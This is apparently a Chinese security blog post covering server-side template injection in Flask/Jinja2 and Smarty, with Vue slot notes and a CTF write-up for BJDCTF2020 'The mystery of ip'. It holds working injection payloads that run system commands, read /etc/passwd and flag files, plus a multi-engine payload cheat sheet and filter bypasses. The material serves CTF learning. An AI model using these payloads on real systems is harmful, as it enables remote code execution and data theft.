zoukankan      html  css  js  c++  java
  • SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入

    ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。

     
    slot

    Slot的理解:solt是“占坑”,在组件模板中占好了位置,当使用该组件标签时候,组件标签里面的内容就会自动填坑(替换组件模板中位置),当插槽也就是坑有命名时,组件标签中使用属性slot=”mySlot”的元素就会替换该对应位置内容,可以实现父组件对子组件的传参,要注意是父组件传入子组件

    <Child>
    
    <span slot="header">hello world</span>
    
    <span slot="main">hello world</span>
    
    <span slot="footer">hello world</span>
    
    <span slot="other">{{otherData}}</span>
    
    </Child>
    
    
    <template>
    
    <div>
    
    <slot  name=”header”>这是拥有命名的slot的默认内容</slot>
    
    <slot  name=”main”>这是拥有命名的slot的默认内容</slot>
    
    <slot  name=”footer”>这是拥有命名的slot的默认内容</slot>
    
    <slot  name=”other”>这是拥有命名的slot的默认内容</slot>
    
    </div>
    
    </template>
    

    作用域插槽:

      <ul>
    
          <slot name="item" v-for="item in items" :text="item.text" :myname="item.myname" >
    
             slot的默认内容
    
          </slot>
    
       </ul>
    
    
       <Child>
    
          <template slot="item" scope="props">
    
            <li>{{props.myname}}</li>
    
          </template>
    
       </Child>
    

    https://www.jianshu.com/p/ee9dd640f23a
    https://www.jianshu.com/p/50dcf932a159
    https://blog.csdn.net/kingov/article/details/78293384?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase&depth_1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase

    Flask框架

    render_template模板渲染
    @app.route('/login.php')
    def index():
        return render_template('temp_demo1.html')
    

    该函数能将我们模板的内容进行渲染返回。

    @app.route('/login.php')
    def index():
        my_str = 'Hello'   //传入的数据
        my_int = 10
        my_array = [3, 4, 2, 1, 7, 9]
        my_dict = {
            'name': 'xiaoming',
            'age': 18
        }
        return render_template('temp_demo1.html',    //html文件
              my_str=my_str,      //传过去的宏
              my_int=my_int,
              my_array=my_array,
              my_dict=my_dict
                               )
    

    模板代码:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <body>
    我的模板html内容
    <br/>{{ my_str }}    //调用了传来的宏
    <br/>{{ my_int }}
    <br/>{{ my_array }}
    <br/>{{ my_dict }}
    
    </body>
    </html>
    
    我的模板html内容 
    Hello
    10 
    [3, 4, 2, 1, 7, 9] 
    {'name': 'xiaoming', 'age': 18}
    
    if判断语句
    {%if user.is_logged_in() %}
        <a href='/logout'>Logout</a>
    {% else %}
        <a href='/login'>Login</a>
    {% endif %}
    
    循环语句
    {% for post in posts %}
        <div>
            <h1>{{ post.title }}</h1>
            <p>{{ post.text | safe }}</p>
        </div>
    {% endfor %}
    

    为了避免反复地编写同样的模板代码,出现代码冗余,可以把宏写成函数以进行重用。
    定义一个宏:

     {% macro input(name,value='',type='text') %}
           <input type="{{type}}" name="{{name}}"
                  value="{{value}}" class="form-control">
       {% endmacro %}
    

    调用宏:

    {{ input('name' value='zs')}}
    

    输出:

    <input type="text" name="name" value="zs" class="form-control">
    

    包含:

    {% include 'hello.html' %}
    

    继承:

    {% extends 'base.html' %}
    {% block content %}
    
    ssti漏洞

    关于ssti漏洞,我们有render _ template函数以及render_ template _string函数,他们都是提供渲染的。
    原理:模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击,但是当渲染的模版内容受到用户的控制就如同下面方式:
    "Hello {$_GET['name']}"(这里是php,在python也不要直接%s进行拼接)
    此时这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,服务端相信了用户的输出。
    同时,模板引擎对于{{ 变量 }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如{{2*10}},那么会直接的进行执行输出20.

    ssti之命令执行

    在python环境当中我们的命令执行需要使用os模块以便我们调用系统命令。
    payload:

    #python3
    #命令执行:
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    #文件操作
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    #python2
    #读文件:
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    #写文件:
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
    

    关于上方payload的实现,我查看了这些属性的含义:

    __class__  返回类型所属的对象
    __mro__    Method Resolution Order代表着解析方法调用的顺序,他会返回一个包含对象所继承的基类元组,会按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,dump所有存在于应用程序中可引用的类
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    

    分步查看:
    http://127.0.0.1:5000/test/?id={{%20%27%27.__class__}}
    此时返回:
    <type 'str'> //返回类型所属的对象为str,也确实因为我们前边设置了''这个空字符串

    接下来我们使用mro属性访问对象的继承类 http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__%20}}
    此时返回:
    (<type 'str'>, <type 'basestring'>, <type 'object'>)
    我们加上数组:http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__[1]%20}} 返回:
    <type 'basestring'> //此时第一类就是basestring

    此时我们想追溯根对象类:查看object,利用subclassesdump所有存在于应用程序中可引用的类。
    http://127.0.0.1:5000/test/?id={{%20%27dd%27.__class__.__mro__[2].__subclasses__()%20}} 返回:

    [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>...还有很多] 
    

    我们在添加一个数组让他单个输出:
    http://127.0.0.1:5000/test/?id={{%27%27.__class__.__mro__[2].__subclasses__()[1]}}
    此时输出:
    <type 'weakref'>看到了元组的第一个元素。
    因为此时我们想要执行命令,我们要对我们这个类进行初始化利用:

    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    

    调用类索引使用read方法打开文件: //写的话我们可以使用write。
    {{ ''.__class__.__mro__[2].__subclasses__()[67]('/etc/passwd').read() }}其中[67]是<type 'file'>类索引,我们就这样直接打开了。
    也可以''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read() 这些都成功的读取到了文件。

    命令执行: 我们找到os模块,利用脚本:

    for a in range(0,444):
        i=' '.__class__.__mro__[1].__subclasses__()[a]
        print(a)
        print(i)
    

    payload:
    {{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('命令').read()}}这样就可以了。

    当然我们也可以自己编写好flask语句然后执行。例如:

    http://127.0.0.1:5000/login?name={% for item in person %}<p>{{ item, person[item] }}</p>{% endfor %}   
    

    5.26新增

    [BJDCTF2020]The mystery of ip 1

    点进去有Flag页,所以点进去看一眼,发现返回了我当前的ip地址了,F12看一下HINT的源代码,看到注释<!-- Do you know why i know your ip? -->,可能跟这有关系,猜测可能是跟某方面的信息来得到的,X-Forwarded-For就很有可能,

    GET /flag.php HTTP/1.1
    Host: 9704-27a30dc9-6031-4b24-b4d5-ae405f31a2bbnode3.buuoj.cn:26143
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    X-Forwarded-for:    2
    Referer: http://9704-27a30dc9-6031-4b24-b4d5-ae405f31a2bbnode3.buuoj.cn:26143/
    Upgrade-Insecure-Requests: 1
    

    此时服务端:

    <div class="form-group log">
                            <label><h2>Your IP is :     2               </h2></label>
                        </div>      
    

    照搬输出,呢么很可能存在某块漏洞,尝试模板注入{{1}},确实存在模板注入,判断类型为smarty

    payload:

    {if phpinfo()}{/if}
    {if system('ls')}{/if}
    {readfile('/flag')}或者为
    {if show_source('/flag')}{/if}或者为
    {if system('cat ../../../flag')}{/if}三种方法都能读到flag,另外包含双括号单括号都是可以的
    
    关于smarty的ssti模板注入

    Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别,Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,Smarty3已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。

    Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等

    附:在php5的环境我们可以使用 <script language=”php”>phpinfo();</script>,以往只知道这个用法不知道在PHP7下是不行的


    不同模板的不同payload

    Ruby

    <%= 7 * 7 %>
    <%= File.open('/etc/passwd').read %>
    

    Java

    ${7*7}
    

    Twig

    {{7*7}}
    

    Smarty

    {php}echo `id`;{/php}
    

    AngularJS

    $eval('1+1')
    

    Tornado

    引用模块 {% import module %}
    => {% import os %}{{ os.popen("whoami").read() }}
    

    Flask/Jinja2

    {{ config.items() }}
    {{''.__class__.__mro__[-1].__subclasses__()}}
    

    Django

    {{ request }}
    {% debug %}
    {% load module %}
    {% include "x.html" %}
    {% extends "x.html" %}
    

    同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

    关于自动转义

    在jinja模板中,后缀不为(‘.html’, ‘.htm’, ‘.xml’, ‘.xhtml’)的是不会启用自动转义的flask调用jinja时的Environment函数,默认启动自动转义的文件名后缀为(‘.html’, ‘.htm’, ‘.xml’, ‘.xhtml’)

    jinja的html转义有两种,自动转义和手工转义。手动转义:转义通过用管道传递到过滤器 |e 来实现: {{ user.username|e }} 。自动转义就是调用Environment函数时指定autoescape参数(一般是一个函数,输入值为模板名,输出为布尔值,判断后缀返回True和Flase来指定是否开启)来开启,某些字符不需要转义时使用过滤器|safe。或者自动转义扩展在模板中指定是否开启。{% autoescape true %}自动转义在这块文本中是开启的。{% endautoescape %}

    https://www.freebuf.com/articles/web/88768.html
    https://www.jianshu.com/p/aef2ae0498df
    https://www.freebuf.com/articles/system/97146.html

    绕过技巧

    字符串拼接:

    ``request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]``
    
    使用参数绕过
    
    Twig
    Twig 不会转义静态表达式:
    
        {% set hello = "<strong>Hello</strong>" %}
        {{ hello }}
        {{ "<strong>world</strong>" }}
    
    将会被渲染为 "<strong>Hello</strong>world".
    
  • 相关阅读:
    NEO从入门到开窗(4)
    NEO从入门到开窗(3)
    NEO从入门到开窗(2)
    NEO从入门到开窗(1)
    重读大型网站技术架构
    c#并行编程
    关于使用CPU缓存的一个小栗子
    Visual Studio中从应用程序中调试SQL脚本
    JavaScript启示录
    LabVIEW工控二进制数据存储
  • 原文地址:https://www.cnblogs.com/ophxc/p/12884193.html
Copyright © 2011-2022 走看看